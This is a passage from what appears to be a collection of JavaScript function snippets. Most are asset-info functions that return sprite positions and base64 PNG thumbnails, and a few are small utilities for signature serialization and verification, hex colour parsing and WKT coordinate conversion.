\nAKt\\/v1QqHby0emk5MR+Jbj+JbRzcqjh3mj+LDJizJVIoPwFWf8xoN5BAyQ95i4SgH\\/AOC8F+yFo0\\nhPuI0rB7A6H7oMc0ccvVQK+ctmWd6ohqXwmCP3hlSNB29q5VBDOdGxVjuzMvcvFhcv9sNlfM31gt\\nVG4hod33WAP9iDUGUFEY8PwjSkV\\/hvK9n6Nc++MeVZ\\/r4oji+abienpHUlAwifiPV57UQkhQNFu3\\nufgU5mI0tg8r+nFy9+TB9kF+Nlc+j4CqvlYS2D1DK42HtNp+QGvd+4ze+zmIe4TcvYdy3ft9FsDR\\njZkOUX3axktbGIUE40kI4EhcVhrO1dWr7\\/202+2\\/yuVymduKnnth9czGVvoXWzun9wHk3DlyFgFK\\nLuNc6SkuIPOUfDELiucxITUe9tkGtPQhAHvUJWtzXQKBcIttLP+82ctmcbo8mkwCVtUGnK6\\/+1rr\\nF7Bm+TqEvLZ6ZXUTtp0bSJCPABLavdbDT6IYDUC582VCKC0MuMoMgJnpkdXHQDEINt\\/FywsAbhnA\\nrTbR7Fq9k0nUWoc1ikHC8dhnZGX\\/tVeBYOb9DTDJ3b\\/Nx\\/+G3ErDyl7OV47XGr0M\\/PAKAAAKFRbb\\ng8KzNl6EsdgZFKBqK83+WaTVPwVwxxsXraMtpL6XLCI7nKoOVMOgwSj2N68NCSbF\\/1Aul9PPwKT2\\nFhL2x5l4IrWwn0pBNWK1dhqCRgHEKrAQAOduopeF9+D\\/4DPwWQi3Xaru7BbKW+kKsmVYFu963i8+\\n1YIfQoJmnlmJRLag3TAnYeHAkSZRqOzCjyaqjUOgTipea6cgzG3Aawi2WW0cbFVqu9slZBvC7RWK\\n8cOz8yhSq++Nx2PhU2+b2Lb9961WK7cWiyVh4cDqfgJaUGT\\/YHunWElCVSDAZqW2t4k09l8GuL4B\\nq+7A53aLpcR+obQO4Q5Ps6upTGYRrJdKb2RvR1GUtxqNxtnSyso6bEFQzfnI2tZevhCHH4bK7BYr\\nWxAk+SKuoa7vlxJ7hdLGfr4QO8yeRVI3cEvpdHoBxhvbHSNJ8i2Qk+dgVv58b39\\/5fD4ZCWdL6we\\nF8uRdKmylipXYulKdT1drW40cDzbo+l1lGUfMKL8L4Ks\\/qOi63\\/NStKfkBz3x+BdL+ONbuGBF\\/4t\\nx3EFGDiOpzv9\\/na10YiBiPcHeGpAM3MMx30TAH52G\\/BwI0DTtD8DBfSN24DXAP5Lr\\/O+\\/wJ7DWbu\\nMDWBngAAAABJRU5ErkJggg==\",\n\t};\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-19,\"y\":-37,\"w\":37,\"h\":37},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAANYklEQVR42q2Yd1TUVxbH5889ZxOF\\niMA0BlzdRNcYjdloIobEWNAkYokVcBSkq4hpigWU3lVQQEAUaQJSRHoZQBBBinQLgsaeommbbWfP\\nd+99ZEYYMGc3J5zzPY+ZX\\/u8773v3fsbiUTvL3ih4fhyt8lWPQem2fR4T\\/Pp+\\/wVn65P\\/pzXSWpy\\nn+TTSGpwNRe6SKp1JjmZe1Y7mVtpVe6ksKpylKokv\\/ff45CZ6v5DM3DHbwa6d09F447JuEzq3PVn\\nXP1FtS7maHCzQL2rBepItS4WqHE2RzWpyskclaTyrSqUOapQQip2UKFoixkKSQWbzQbzNys1uWqF\\n5py9QpNDyrZXRKVukKsTV\\/3KhNi12wGvtQ8QXOeeqbjkNRmVbuYodjJD\\/hYF6rZPEuLPeZvlKHcl\\nABcVzqnlqCbY8w5KlIhjClTQBApoLNyiRKmTCrmbFChyYDgl8tVKhkQejbmblDhHyrZXIstOgUxS\\nhq1CE\\/mRkdUowEchr+fdD56FWoJgMIbSB6zdZoELW5UCqpTgSp1VyN4kR6W7BfIdCILOzbST0TFz\\nMZ5TK1BCrqbbSuk+KmQRaC7B8ZhNYGdtFTrAjI1yJK+TIeFjKYKXTUTgUqM8Nk3AfR06y+pe0EwC\\nGHJIH7DQUSngakj8PwOWEFwxicEq6LysTTKUEDTDlBFghq0M2XQeg6VulNHECNqegCjMGTQWUApk\\nEtwQzNgKsjbyGXIv9PXkxl1TRMgYqNrbEjUxHmiM34H62O1oiNuBK4k7SV5oiN+JulhPNCZ44TKp\\n9qgTqn2tcWHPQtQeXCpGDX0+v\\/t9FHsvROWBJTizQYZCyksGy6Ywp9vLke\\/Ik1MhjcIaRDAB1qPl\\nv8ToqXCR3BtkMJbvEiMUpEShq7kKPS3V6GurwbW2Wly\\/ehE3Oupxs7MB\\/V0NuNXdgIGeS6PE3\\/Nx\\nPo\\/Pv95eJ67vbdWguegkKiMdkLFlCvIILpd0hkIbtdwY\\/gw0hvysJ6gl\\/b6vCrjQD42x9T2LEXD8\\nAH6QFmqwtxG3+y7jzrWmMcXH+BwtLIPy5Pg+fD++b1tdASr8VlC4VUghdxPXmlKoCXLJxFHyW2yU\\nJ+nZO00AOr05Dp+vmfsMjm6sdYwfqAW7e+MK7t1sEbrf\\/0z8mY99eb1ZB8vX8fVaN7WQHfXnUbp7\\nPk6tp4WxxhRxtDj8KHr6OrRkwqCke+9UsTo3znoBu9fN1TnHcFrXhoM9uNWKBwNtqCzJQseVSjwc\\nbBfi7\\/iYFpZBx4LkcHdfqUJb4TGk2MoRT3CJa+UEYzSmJM2fTKHlr4Dd6y\\/Ce\\/1burDqw\\/GDGYJh\\nHt\\/ugOUCS7i4bRkxBgXuQyCJz+Pz+Tq+fjikNic5lcr2LxbuMaC\\/tREOLh4tyWVawQW00apnv4j9\\nG94WoeWbDYdjZ7RgwUH7ERJ8AK7uDog5GqwTf2Yx7KPBq2NCanNSG+om2h1iV5tSmGW0cp8D2PgL\\n4JY3xsFn4zxdaDk8Wue0cF\\/f6dKBsGPHY0Lw\\/cM+oe8e9ApwVvSRIHRSGLWQ2nDzfYeHuvWkF44T\\n4Im1Mt5W4LtotCS80ebRxuxIi8TXbt4I90TO0UPYEYb79m43nt7vEUD1mgL0kys\\/fnVD6IfH1+Hm\\n8Qy+uixnyElyn+8zloutyV6IWUWLhBzkReGzaLQk5a7mIged5ozHIXtLnXs8a617X93pxDdfPoNj\\noL99cxM\\/f9uv009f30RYmC\\/CQn1wLDoYvZRr7Dpfr3WRJz48F9uSdyGaAI+tkopwHlg4YZQkXDsZ\\n0HXueBz1WjUivDz74e5xGNkphvv7k1v453eD+Nf3t8XIn8PDDgpIdrCmPFdMTOsi3294mLWAR1ea\\n4ggpYrnJ8wEz7ORwf8sAKQHuzwV8cq9b5x479o+nA\\/j3D3fwn5\\/uipE\\/u2\\/bCrdtjiLULQ0l4rqx\\nAEWYKQ\\/bTg0BRq0wEYD7CUhfEi76catNsG2eAc4E\\/jbAuxTCpotFiAg\\/JFxkB2srckcBch7qAx5e\\nQYA2Jgj\\/yAT73p8wSpIiKuRxtJI8LQ2ROgywd6AL3Xf60Hv3Oh7c6fnVEJ+IjxBQ7sI9R3Een\\/88\\nB3UhJkCGi7QxRRgB7iUgfUm4FYr92BRe8w2RFuQ+VOz7mpD25Eec\\/u5noYZH98ZcJAP0wPi4cMTH\\nhgs4kYOhvuI8BryVm4drSSkjtpob9RW41qR5tkhWyii8ptQLmMB7wYRRknArxJvlJ+8YIp0A2X7N\\nlwM6OBbDal3UQrKTDTXnhXOcdzz+8OiaDo7dY7iu8OO6bYZXcWdsEtoDj6L3UoUAPLJCJsTNiveC\\nl0ZJws0jA37+7kvI+AUw85unIwCHXLyrW82cj7wQeEvh8fTJaLFpD4fTbjF9CafQl5Im3LvZUoP2\\noGgCPIKukgKxDx62eQa4h4D0JeHmkQF3v8eAbmITLXzwYBRgxeOHIp+0eyI7pt2UeUEwGH8\\/HI5z\\nb7CZNuRd\\/ujNyERHVByuRsaiV1MiSh1XkkgbKa1kGUIIkBn0JeHmkQE53vGeS0Vu1Pf3jgLsH+gQ\\nVcXZbbOot6zMtHgBxNAsBhurDt+oJqD0DFxx80HP+VxdR9Nycicil0sRvVqOYAL8goD0JcmlxjFx\\nrRT7acWErnllqF\\/rbBwBV\\/bwvkhyzqXAgL3UsewVoOmpsbp2a3jLpe0NtXnHznWnZaDNJwJdBefE\\nMzqbK3ElaSfCBaACwR8QIKWZviQ59KZ1mjpbLjVc+7L97NDWUIqOxgpcba3F5d5W9HTy3jXUgjm5\\nqOHkqhah3bnLDc6um5EQF4HDUf6ory7Axap83YplOHau2cEbveUX0FN6Hu3R8biam42Opgo0J3oi\\n9CMK8So5ggiQ14G+JFlqM9HZHqb9iCG5aKd9Zo2Lhadwpa4IrfWlaL9UTjcsRxc1qIkEk3QiCo5O\\n9vhi9w4ButV5k27U\\/n8hNwXXKovRupvqclmhaA44tO2nUtDiH4W2mgtoTthBgKa0WcsIcCI+e9dw\\nlATgyXX0XrpeLtoeP34XWDL0ZhW9cSoS3OYj09cWeSHOqDrtj5rMSLTUF6PtEoOT05fLUUXddXZG\\nAu2HYUJBAfugKc1Be2Euml33oz0nE1cby+iaMrRkZaDJ9jM0n01DXdBKWhymiF0jRyC9gn5qZThK\\nksxNKiQRICvVlt57+XWQXqZZifRdzCqpDprFr4lhlNDRay2Q5EHwe1chP9QZZSe8oUmPREPpWVzW\\nFAo1as4LXaLQsxqq81FflI2G2DjUZiah0GMaOWeK4x8rng+Ybm\\/2lFvupA1y1MVMRVXUyyjzm0w9\\nmoKaSSmyNquQQwsp19Ec2TSesR2CZ\\/AoKlHD4Rk8gkoWt1AnPSyRsn0+8kMcdMoL3oKzfmqkH1Kj\\n+MBSxK9VEpgUxwgwgCbOxUJfkjQ7pYZb7p5zs\\/C0ex6e9KzAheCp2E\\/vCqH0sOSNShwj0HiexHql\\nqJ1xFJIzdpQaG5QCPNVOKSaSYqvAqY0KAR+01HgE\\/NAETMRxjlKmWiXgApZxiBXwJ8BdBKQvSSr\\/\\nuuRqhgeNb+Ju3RsYrJqNa+Ufoj71L\\/BZPFFA8AO562XASKqbMatklK9K6kBMyS25qKOx5MJx8SBj\\nxKyW0XUE4miBLHI9e4s5chxoIvZmYkFErlDg4BITAee\\/1JSglTQaUT9gMEI7LQ0GJSn2CisGvFk8\\nE335M9CV\\/SpuN2xCY+Z0HFg0kaAUBCEjADkS1g1BcWmKX0PhIRiuArwSeauIIcgoOhZGW4eftbFY\\nAIcJNtndDKnbKNddlAIowkYO38Um8KP\\/\\/axNkUjP8CPAnQw1XJYGeeL3maS1Mp\\/6mJdxJfkVdJx9\\nD5rYN3CImtghQA6xXIhdC\\/uQ+zepCEsAAR4h+Aj6HElgMbThclVg2DCCrjg6VaQNq6foA6oiryLK\\n0Qxhy+W05xoLuEOkTNpJDtJb3Q5LA3156n6CS7KT+RT6TBosDJ5OJU8Ft3kTRRvEUAx3lADiyDX+\\njsuTNpwMxq5pXTzCWikX3\\/dXzMajpjm4V\\/9XPLnxKW5VzURt6nQKr5Qmb0yjqQj1BRcLeL1jQE3z\\n+BHyePsPI3\\/UzFpjOD54mYnNnoUmUcdWKzQcTgaMoYdyUec8Y7e4PHE4OYwMxy4KNwnsMCmKcozz\\n7Hb1bNwqm4UbF2ZisNYGPcUfoIQitW+xVITYh8Tnn3c2h\\/vb4\\/U0Lvl\\/+ln4xBqFFeWgz+EV0jwK\\n4dOw5VJRnjicgctMBDC7dohW6XA4zrPGxGnoPDsd7anTcKfeCdUxsxGySYp9i0zhQ855LzRGHjXM\\nvMW5vTVOJ9e54wadZ0vG\\/6bfsf2XGaiiV0s9kzYo88KXmw7yqmQw\\/6UmBC4TYOEkzrNIqky10VPQ\\nmDADfRV2BPgynK0mYj+F9gC5F79Ogartf8IXCwzhQmBCBOfy5h9f+91+eK\\/ysFAVuZjb0BYSRdCa\\n07Q\\/xlKuMiAvgABaVMk7VDjuroLHIhN4vmMsJsDbD8MFUg12mjsOWwnMac44z9\\/s3P\\/zV73d3Kpy\\n2yTPfCfzPKo+gzm0MXMoRTWi\\/zPUtOGvpJekhYbtW+e8EOU490X18+71X0Wqur08vXXxAAAAAElF\\nTkSuQmCC\",\n\t};\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-25,\"y\":-77,\"w\":50,\"h\":77},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAIpklEQVR42sWY2XIT+RXGeQMeAQbw\\nqrW17\\/veklqrJdsysi1jyxsCm80RIAweMIwzLJmBySRVTlKVIpOqgaq5T+kRfEVVKjd+BD\\/Cl3P+\\nQrIZuEkkJ131VcvWRf90lv\\/5Tp85819cqz83z82\\/3Xg++ft6e+rH+mHlj8tH0z\\/U28WXtXZhb7ad\\neTLVKr9ZaE39uNQovprznvlfXgxX\\/fP6ofJ0CrVXa6i9XIWyO4nkwwnI26QHE4g380jtlJB+XEaq\\nq6\\/LiDYz7dTOZDvazCqnArf499tnZ\\/\\/SOJj57SLuvn6It2\\/28MsPe\\/jH3n3s3F3H1d2bWNpt4PL2\\nIuR7BSQfTQjFWnk46xHYrwQ7WgjCWgu+Hzjgwk83nnM0mm+28dfvn+FfKwX8sxoR+iVuxMqdBm48\\n2sJMfQ6uahCx+zkhZz0MWy0gJE06hKzzAVjmffsDjR7VE5RHk9j57il272\\/gQ8GGD1kTPuQs+JNr\\nBDMzRTTu3UB4Ig7PakTAuVYiBOOHdc4PqWSHYcoJ3YSNZIVl1nc4MMDa3zYbie0CVr69jq3d+7j9\\n+C5uZQJ4oD+HluEiqm4j5htLqF2rwzUZQOh2CoEbSYYgecWdIbtS0w8zV72QKi7dQAAnXs0fRO9m\\nsPBwBatb17GxfQdrzeuYW7+C6mpNpLd+cx2l+Wm4qMbCd9JwLIVgvuyBiWT+lfQURcOUg75zKwNJ\\nr\\/K0gvBWWjw4dCuF4LqM6GoasVoa2foEistTmF6qIl5Kwb0aRvBmEqaKG0bWtOszGSad0OTMDNnq\\nG3Dp3W1FQN1KigcLbabg34jT0ZGF7zrV3NUo3CshOK744W1ESTEYpp2i5qSy44vS5EzQlwcAWHg5\\n3wpsJsDyb3QVF\\/KuReBYCAhI37VYT06C5W7Vl+3QFa1fFEeQUj0IwNnWyYf7rhEYRcy1HOpEiz57\\nrkbgWT+WteaDnrqWu1WTNwuYz5S3QJu3VPsGzDyrNE4+3E1RsxOAYzFAcDG46JxzrYY6WunIdNkl\\nokQAUGeMQirlU\\/F3mqy5\\/1GY\\/XbGe\\/LhrpUgnMtBWKgB+C5UD8JRD1DndiRRajsAJoynpI6S+p5U\\nikFEUZWVBnPMuNbCvYc7lvwCyEzdaF\\/0d3TFJ2RjLfg6qaUmUBPIaEJ7rHhH3agO7KCmB+93H84y\\nV1ww01FhvuyGie6WqpsmhkfIMuchwOPUDkfVx4p0xNFVpaT2wADTu6WG\\/LAIFo8wPnICmzJ8dJxw\\n2i3zbpoMrp6kshWqtAHjaUmAXQqN99SNoCqsfT4QuNBu8Wz6celI2KevSyRyKTvsVDrA8sMCEtt5\\nJB7kBbjvekw0zBjVWlcX\\/CM9ce2NyTqM27Stvpuj+GJ2P\\/+iepR\\/XkXmm2kkCCZ2P4vYvQx49EWb\\nCiLNNCK\\/oSmzlaJJw0rS9zmqOd1HaQmS7gTFzTFG\\/xv3UBQNfQJm9ipthso8mwIb1PSTSRRezIJd\\nTeabCrJ7M8KUpp+URRSDN2UEbyQQJ\\/9nrDgxEtN8UaM+DTRGLbQmfX+AiQeFQxJ0VNA82I0Vh6gv\\nTh9PDjGXybWIMUjjL\\/V4kg7s2KdNcaIxhiMqjHrUUJs0BKeD3qrvzygEb6WOuKYssx6oqKg5RRd8\\no\\/jKM4zzrks457xIACo643TU2d6P52EIQ2HVCVFTBNQYd2mgMncix5JsRkh2qb9D2r0e9lKHvqeR\\n1uaHW2vs69zkRBziAB5L6EU9cVfq6dzj6PKP4U4dCoxB7dXB6DLB6rTC5LR0oEhas34wgL++jEXj\\nWWnG7nXlfAc2hWxTxgqJpC9ZaKyZyYQaoE+ZoXNLAuqkzC5rD1BvNZwOYPdKlbPtdDkHOU+dm4zC\\nFwnA6XXC7nF05LZ\\/BtiFYxnsJugsEs6c1pUuZQ8YMFXKCiUnMohl6eCOBnvyE7Q74IHT5xLwvegR\\nGEeQdXqABNcFZLhkUUE8IyOuyJBzKUTScRHZYDzcAz4Zwa5OFfAYLgO5oCBGgCE5QmAxEU3+O5pJ\\nIJKKiRJgIKPdLMT1SJE8OjVAkVqGI8kUPbmQRiJPZ2EigjjDZRmOpCRENH2x4why7Ql5pEPjovHs\\nwKCWfr6tq7+70679tIFCcwaplTziVWoShVKZoFRSOr1hnwA6CXcSkOuOz0CjbKEjy03rwADsfvda\\nfrflLb++QqOuionf1cTIK31fQ+n1Aoov5pDbqSB5q4BQLY5AIQR\\/imovHkKYU0yAOjr7TAkrbLzR\\nTTs6O0nBPDi7VX9\\/p8UzmPYTZGkO84xOkrPhZZ7tV4hMQqRJad8pQab\\/xVs5MZ8jtP2Fr8q0GoQ7\\nPvHjGsCOhizX4Oqw9nazzeYgS2D8Nottl3slDCtNDn6DwLsJz2Te\\/HixEqsBzWyeQPZFMrg0gXpg\\nNIV4dLJfHEtI5wYCWPqudijcC79qE1Eq0top08oZxEhEI8SrJsPxYsWAvB6w+9bmTbSsOzpgtCyN\\ns5GlHWVM1mMkrm0MxLByzSlPp4VR5bTyYj5Oc3g4qOpJlZR6S5SD9hQ2EDy7NVnq4LLtEzD2iQSH\\noYj6oG\\/AqT8sKXGqM2V3Cmy\\/uOYCG0loM6ZPAFlsHthU9IzFtB2j5AF1RYtw0WxeR+Kang1jx9M3\\nIEG1uAHY0sfuZck9K8IHaihdDBVt5uC7GhefjeR0vOsx4WzYP0qTNoxEyWZRmtmsMthQpGPDLgXH\\ncN4\\/2r9hiDSzB+EthSx+FnzvNoOaUmYo2eGnz7Z5nwD0rJ2Es34EJJOaMXwCdjEwSt5yeDAvMKlL\\nW1T4+9Y5b9u+4D8SCzrVWGAzSetARTSDaYa84GXqaGocI6WVtzq2YAw4HGJTq++BfeUbPjrvGWqc\\n2qhzrAbO0fKuOBYDLVPF2aYGaBsIRD9hER3L9aYvdQDZyA4FyFXLWorYCM57h99fMF44e+b\\/cXUN\\nLR3ADTrj9nV5c1uTM4omGUmoD867L\\/7HO8i\\/ATWhJO5JeTWCAAAAAElFTkSuQmCC\",\n\t};\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-18,\"y\":-17,\"w\":37,\"h\":18},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAEqUlEQVR42u2WW0gcVxjH81QoJKSU\\nvuSl+1QaKCgcyEMfilAITR\\/alJZSaGgUEtpoG9IYgpombi9pvCTG1W4S1\\/stXtaMbkxcXY07rhpX\\n3cvs3b24zupuvK6O1by18O85swm1hFJiYvLQ\\/cOfOR8zDD++73znfLt2JZVUUkklldT\\/T+7Yw1Sz\\nf7FUN+Tgb7T18UpVA59TqOFL6nVdzXfN6QPW8N6XAjZ436cY9cR4d3QDfRNBqFsMyC+\\/iRMXynE8\\nrwRKuq7vHmHvRLu4mfZC4bhBu6J3zCvxDhGV3UYcLMvBmwVfYN\\/Pn+GN\\/MN4tzgTTVo9rlRzaDVY\\nYBfXEYr\\/efiFwGm0A3u1BrMwMBlAXmcT9hQdgkL9OUjDNyDNmSA3v6XOwpBtHDaLAE5vkjMcWvlD\\ncsek1B0HrOkwlHabBNQMm\\/BK4ftIqTsO0kKhtKdAuGyQrjMgndnQ2YbgnwrC6XCjxzgBQVyDIyIJ\\nOwqnruYUNR39MHpCeFt9FPurM0DaTiag7uaA9J0DMfxAfQ7jfhemQzMIBkJwCC6YrH44KaTZM5u+\\nY4CqOq60694kLpk47Cv\\/FKT1OxAdhdPnggzmg5h+Ahm9iKOWKkTnooiIswhPiwj4g5i0OCjgKsY8\\ns8IOAt4Sx1wiDtRkIaXha5Bb34P0UDijEuT+RZDJIhD7FfRHnJifX0A0GoNIIVkmWamF4DzN4BwG\\n7T7FjgCW1XFwR+LYffmDxL5j2TOcBxn5BcRaDOJRIWNai3h8FctLK5h\\/sIC52ShmwiJ8Xj\\/snmkZ\\nsH3QhaZ+p+w2oxv9luln8u0Rr3QkK\\/fAFsBDdO\\/R8nafBbl3AWTsVxBHCUjwOvTxKaxL61hZiWNh\\nYTGRxZkIpnwBChiWAQcmfM\\/d6nqt+J+A74WqsLGxSQF\\/R3xl9V8B1Y3dKLje8lx97GQez\\/agwPbg\\n\\/hvpSGk+kShx\\/3m5MYj1MjICrVhblbAaX3uixG6XF0IgJgPWdhrTrrfon8r5qgbh\\/NU6MLP48Zr5\\nx9+a6tTNPQrWxXV3THbkDjRCUXmEnntbmoRmsSRgwNLSMpYWl7EgN8kDuZNZk9hs7kQXu2fF7ez\\/\\n3MIKPq9IA2YWP14z5xZplPJH5bWdaewcHAlE8Hrpx0hpyUxksTePQuaj2HUXsdg8YtF5eszEKNyc\\nfMz4vFMYtngT56A3qtwOYEWbnq9o6wVzIk6smTXtvX\\/\\/s1pr4HtGXbhk4PCq6kO80\\/Ko1DST2eZ6\\nGYplje07ljkGZxy1whJaZjeJZA2vbWu6adYZ+ebbPJjl+NGa+eZtfgsgN6jQ9pkldherevXYc\\/Uj\\nvNVwDKTjlHzFVU32IBQMI0BvEJfTg9Y7Q\\/JRQO9iuOakbQ8Mw+M2fmTcjmGzXZJj+mRxwsKpf3zc\\n1jeRSqcZweSMQKXT42B5Ll5THcZuNfW1T3D2zjVUdHWirF4H7T0bm2akZ51mKriR1MrO4TT23Boz\\na7TWJ6vCBtH73pjAhgDOKOCShsPpgip8daYYX54uwNmiWtTq6CQzGZLsMw9Td70suaKbaeP+xS7d\\nkBM32g1QljUip6gSdKIWm3rMypc2USeVVFJJJZXUU+svZOzKFcew0MsAAAAASUVORK5CYII=\",\n\t};\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":8,\"y\":-42,\"w\":29,\"h\":31},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAGgklEQVR42u2Y\\/U9aVxjH\\/Q\\/8E\\/yx\\nS5PFLd2W\\/rLZNPtpW+cva5YJVm0739\\/RUl8RxIrW92pBUfEFh4CAoALWKpUiFEWo2tp1dhLb1LVd\\nOrcs3U9Lnt3n6L3xioBa2i7LbvIN3Jtzzv3c5zzPec55oqL+v8JfcklCvE6WpTD3FfmsA8WKfw1Y\\nl4Sb1yXh+HWybJgcvMRoWsmLCWhs15TEec1X4nzW6jyfpUbAyFydhM8jCdbdkBAjl3BtlEDTkcGC\\nQ+1rxdvaUgpIDCFlrt7ymsU2n1nc7LWK448C1yPhxspruVsIh7L0FzFg5r5iMMl55P+Uhh+9xw+4\\ntjtGAYSF3AOMVvZOiGOOAtfXmMyCk1ZlgLxm26LWweI8NmAdVzA1VHw4wF1Cy3rN1f5Qbeb05WDX\\nlhIZu3Ogt\\/4cY8He2iyoyuaAhMdAGwIAsRMO5DJUgUFWTDQ1WAo2VTl5dlT4UHLoKqj38KAmPwkk\\nhSlQW5AMOmkhgWRHVC3HN3wtlXSaVVeCVJBN1FGRCS0laYxULQUEOBJwC+NCamoLQSbKgObLqeRd\\nqKGmvEBAOqrozrq2MkbqpsvQW1MQABpJS5rkl0BWlUUAlY25+wDWcpoREP0EO1h6KliQKFUjH66V\\nZzCQcnE2LIyJIgaJbqSozaU+Pj8QkEQYBTihyCeN7eqqAEAaEgfRtvPgtrYy4j6JH2zs4gUCbq\\/s\\nHD9GFvqGZ7waDO1sOLxH8DcRLLvlNFTiYr0VuMLXcZLQivRyM6MUsAAdWuEbh6PV15BsC5IfOf7+\\nxhTSCK04JisncBPyircGh9JKM5r3z5N7rDhvEpGpnVRUvlVATKchdhkcP70m0pZEvWko6wAfRrsL\\nwTUqIGk0+G5jx4qHzc34gvrSRGi7Ugg9rRVE6i4B2NRlYftOa2rAdesmLM+7YHJERkDDbCK5NutA\\n4aHgLmV+C3+8eA5\\/v3rF0sOlBXhg7wyd8ixK2Fhbg3teL\\/ziX4eynG9CA3bVJ8bpO7MODIhwj+4v\\ns8Bcs7Pw27Nn5P9fLzdh6cbV4Is0ZT1s19bURCAXp3tDA7p1\\/FijPIsKktDRi9PX35QJvR3bA9NA\\nqMy0NPj4xAnm2ePliaDj9EjbSRtFVxfp93T1ZmhAKqMIlM0pYFflw5w2+DYMHTor+UviO\\/j1uy2I\\n9+8dOwb8oiJy\\/\\/vTH4OOk5d5kbRFJSYkhAc0dGYKFFfPEUCHhkdFcfAM0iZMIYCnT50ifoQwaLX4\\nM2eYl9KAq\\/ZuePLABS83N1kaVQ+Rdu8fPw7pKcnE2qGDhNofYiQjYDgr4hSjD+ELcErRAgiL9yc\\/\\n\\/AC++\\/oMAXyx7oP7d8wE6K7bCaqaEqJxaSN5NmkyQWVeDnGVezNt4YOEOnUZxuTpjBUXxgREixPC\\ngGmWNVURMNpiqM8+OgHff\\/UF8SsEdFtlcG9+Bh4s+eDJozVoF5dCZToXxtVKAvh4ZZJY2e\\/Vk3EP\\ndIboqUsE21AuY0mUS39532XGYhgm\\/vb5yU\\/g7OlTEB\\/3KYiFQgL368\\/zMDPMh0ltMzzb2CBCKM1A\\nN\\/ldX5oJGPNgh2rqkDPamcYCtA8XkCnfG+EIafqhHWyTFrLE4FT9+dzPRC\\/uNZUtF0DTWUyte\\/1E\\nxsEGsAzXsZKCU8cHl67Ed9DDtQF9US9NDbAkDuQeLTt0SsNDE6ZShNVeTyf3jLtQs4NjTytzmg92\\nyN5JewONSTA9mMO25I7mjeXEN71m0aHPJNsnQhHxaxTOik2Zu6VrvxBz8CrAzlkW\\/XGk4yLc6M\\/e\\nF\\/Qo1sSPu60uBLexgoHVX09Neq1qAC7gVkVWoCWDZB0S\\/RMNsGhpgjWPCZ489MHGqhv8K05YX3bA\\nrK56185JmBR15JJFGECnvjSopVZmOmBzfY2J4N2yqFtB2V6whUvba1ejMLvQoPgfp3yiJ2PHsXlg\\noQ76uAuiKwi0FidbWICbfj\\/8tLICiy4XLMzN+b1ud2xEKlNUoBgwWFSt52E3rG1UCguOW7Di8YBZ\\nI4UxVSsj60gngUGt3r0LPrcbPE4nipQ3PB5PdMRKZx4NP3puhO+nnXtamUttNmvBPTMK8\\/Yp+sX7\\na27OhqKsJvA6nREt6bEhpyTR1JnBR0cdwmIqxAXcoROCy1QPDn0NkX1EDL0N57feSYXUZ6lWsCtc\\nIlbk4kKOVla1nH93ZV2svpKi5r4lORE41Dxbp+RsdNS7vrxWUeze8vGCsSw+6r9+\\/QMG3+xNjlii\\nCwAAAABJRU5ErkJggg==\",\n\t};\n}", "function serializeSignature(writeStream, object) {\r\n if (object.type === IEd25519Signature_1.ED25519_SIGNATURE_TYPE) {\r\n serializeEd25519Signature(writeStream, object);\r\n }\r\n else {\r\n throw new Error(`Unrecognized signature type ${object.type}`);\r\n }\r\n}", "function parseHex(str) {\n var c = str.match(/\\w/g), n;\n\n if (c.length === 3) {\n c = [c[0], c[0], c[1], c[1], c[2], c[2]];\n }\n\n n = +(\"0x\" + c.join(\"\"));\n\n return {\n \"r\": (n & 0xFF0000) >> 16,\n \"g\": (n & 0x00FF00) >> 8,\n \"b\": (n & 0x0000FF),\n \"a\": 1\n };\n }", "function verifySignature(msg, signature, pub_key) {\n //return curve.sign.detached.verify(str2buf(msg, 'ascii'), str2buf(signature, 'base64'), pub_key);\n return curve.sign.detached.verify(msg, str2buf(signature, 'base64'), pub_key);\n}", "function wkt2xyCoordinates(wktString, sliceDimensions) {\n\n //remove all data that is not xy coordinate data.\n var formatter = new Formatter();\n var coordinatesOnly = formatter.removeErroneousInfo(wktString);\n var usableCoordinates = [];\n\n //separate into array in the format of [x y, x y]\n var array = coordinatesOnly.split(',');\n\n for (var i = 0; i < array.length; i++) {\n //turns [x y, x y] => [[x,y],[x,y]]\n var pair = array[i].split(' ');\n pair = convertToCoordinates(pair, sliceDimensions);\n\n //send to top level scope array\n usableCoordinates.push(pair);\n }\n //go back to origin\n usableCoordinates.push({x:0, y:0});\n return usableCoordinates;\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-24,\"y\":-19,\"w\":48,\"h\":20},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAEhklEQVR42sWY3UtTcRjH\\/Q8MgqCL\\nMArEVptLJ8ZMptu66Eq6624X0bxKE8roDSsKxHQTDTQxli\\/FMsWooChyRC8IhYO6qJsa6I0SuD\\/h\\n176r73j48TvuzL144GFnHs\\/v9znPy\\/d5zqqqKnRsPAlGl4e9i5M9rhC+b84Fq1dGjtdX7fQBkPV4\\nMJEBVLp9inqTOw6XAUmuTbWp1521aqnLoVZuN6rvd5tzkPPXGhM7ArcRb69fjwdSP0e96kXooAIk\\nzgEHyOXr7izgr4dt6lGvu28n4NIAgudkWAGKTwDSk9\\/GW9XUBWdHReAy+dYBOHgJIdXhZk7uzX0H\\nPIE\\/RrzpwTOHaspcqYEQvcMQ0uBNwI16dmXPCYzwVyQfM17rxiYfLjqNcOMtu7NwMFkkehpM9jgT\\n5YCLMWT0jg5nBah7HPk4f7UxVEKNC8QQKnjOCg65SDgY8lPXRISa90Mfhzpr60umcZQR3SsP\\/Hty\\nmzL\\/YHrxMB8XTu\\/PrfP8pidREjhsZoIDCLyKcNKQAvSoqbPgYQDJ7xPnXamSahxNQgEWQLT4qX1Z\\n0x+KBsDfE63qx6RPDYUdsW3DwTvSY1ZeMRlykJ6ksXAoO2\\/7m1Wk09FRkMYBTtc4LIjN9ALJZ\\/CU\\nLBwdENUcOVvnK0iA9UbP5IexYnV